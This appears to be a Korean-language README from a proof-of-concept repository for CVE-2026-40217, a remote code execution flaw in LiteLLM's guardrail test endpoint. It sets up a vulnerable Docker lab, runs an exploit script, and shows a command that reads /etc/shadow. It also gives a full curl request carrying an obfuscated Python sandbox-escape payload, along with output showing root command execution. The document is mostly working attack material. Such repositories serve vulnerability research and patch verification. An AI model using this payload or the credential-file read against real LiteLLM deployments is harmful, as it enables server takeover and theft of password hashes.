# Python 종속성 설치 (exploit.py에 필요)
pip install -r requirements.txt

# 1. 종속성 설치 (아직 하지 않은 경우)
pip install -r requirements.txt

# 2. 취약한 LiteLLM 인스턴스 시작
docker compose up -d

# 3. 익스플로잇 실행
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. 민감한 파일 읽기 (--cmd 인자 변경)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# 또는 curl로 직접 사용
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

CVE-2026-40217/
├── README.md                  # 이 파일
├── docker-compose.yml         # 원커맨드 취약 환경
├── requirements.txt           # 종속성
├── exploit/
│   ├── exploit.py             # 전체 익스플로잇 스크립트
│   └── payload.py             # 바이트코드 페이로드 모듈
├── docs/
│   └── advisory.md            # 번역된 권고 세부 정보
└── screenshots/               # 증명 스크린샷